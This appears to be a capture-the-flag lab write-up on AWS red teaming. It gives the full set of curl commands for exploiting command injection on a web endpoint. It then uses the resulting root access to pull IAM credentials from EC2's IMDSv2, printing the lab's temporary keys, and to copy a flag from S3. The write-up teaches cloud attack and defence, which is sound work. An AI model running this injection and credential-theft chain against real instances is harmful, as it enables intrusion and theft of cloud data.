Cybr Academy – [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)

Compromising EC2 IMDSv2 via Remote Code Execution

Overview

This lab walks through exploiting a command injection vulnerability in a web application to achieve Remote Code Execution (RCE) on an EC2 instance, then leveraging the Instance Metadata Service v2 (IMDSv2) to steal IAM credentials and access sensitive data in S3.

Step 1 — Finding the Command Injection

The web app exposes a /fetch-time endpoint that accepts a cmd parameter via POST request. The intended use is something like cmd=date to return the current server time. No input sanitization? That’s our way in.

We test with a classic command chaining trick:

curl -X POST -d "cmd=date; whoami" http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

Fri Jul 17 21:35:31 UTC 2026
root

Enter fullscreen mode Exit fullscreen mode

We’re running as root. The vulnerability is confirmed — whatever we pass in cmd gets executed directly on the server.

Step 2 — Querying the Instance Metadata Service

With RCE in hand, the next move is to check if this EC2 instance has an IAM role attached. IAM roles on EC2 instances expose temporary credentials through the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254.

A quick probe shows the instance is running IMDSv2 — the newer, token-based version of IMDS that requires a session token before returning any metadata. IMDSv1 would have let us query it directly, but IMDSv2 adds a layer of protection. Not an insurmountable one though.

We first request a token:

curl -X POST -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

This returns a short-lived session token valid for 6 hours. With the token in hand, we can now freely query the metadata service through our RCE.

Step 3 — Finding the IAM Role

We use the token to discover what IAM role is attached to the instance:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

Response: rce-lab-role

Step 4 — Stealing the Credentials

Now we query that specific role to extract its temporary AWS credentials:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role" \
http://34.229.207.76/fetch-time

Enter fullscreen mode Exit fullscreen mode

We get back a full set of temporary credentials:

{
  "Code": "Success",
  "AccessKeyId": "ASIAQGYBPW5TU2CCIQMW",
  "SecretAccessKey": "iMaC8nPwTubKZnkMccJTHanYT0DuMRWswB0huIkb",
  "Token": "IQoJb3JpZ2luX2VjEOb//...",
  "Expiration": "2026-07-21T03:55:03Z"
}

Enter fullscreen mode Exit fullscreen mode

We load these into a local AWS CLI profile called rce-lab and confirm our identity:

aws sts get-caller-identity --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

{
  "UserId": "AROAQGYBPW5TZJ3EEZLSB:i-0075a04de7e6bb809",
  "Account": "014498641767",
  "Arn": "arn:aws:sts::014498641767:assumed-role/rce-lab-role/i-0075a04de7e6bb809"
}

Enter fullscreen mode Exit fullscreen mode

We’re in.

Step 5 — Enumerating Permissions

Attempting to list the role’s own policies hits a wall:

aws iam list-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

aws iam list-attached-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

Enter fullscreen mode Exit fullscreen mode

The role can’t describe itself — a common restriction in hardened environments. Rather than spinning our wheels on IAM, we pivot to checking common services directly. If the role has S3 access, we’ll find out fast:

aws s3 ls --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

2026-07-20 17:17:31 cybr-imdsv2-rce-014498641767

Enter fullscreen mode Exit fullscreen mode

A bucket. Let’s look inside:

aws s3 ls s3://cybr-imdsv2-rce-014498641767 --profile rce-lab

Enter fullscreen mode Exit fullscreen mode

2026-07-20 17:17:55 28 flag.txt

Enter fullscreen mode Exit fullscreen mode

Step 6 — Capturing the Flag

aws s3 cp s3://cybr-imdsv2-rce-014498641767/flag.txt . --profile rce-lab
cat flag.txt

Enter fullscreen mode Exit fullscreen mode

FLAG{CYBR_S3_ACC3SS_V!A_RC3}

Attack Chain Summary

Command Injection in /fetch-time endpoint
↓
Remote Code Execution as root
↓
IMDSv2 token obtained via RCE
↓
IAM role name discovered from metadata
↓
Temporary AWS credentials stolen
↓
S3 bucket enumerated
↓
Flag captured 

Enter fullscreen mode Exit fullscreen mode

PWNSOME REFERENCES

• AWS IMDSv2 Documentation
• EC2 Instance Metadata Categories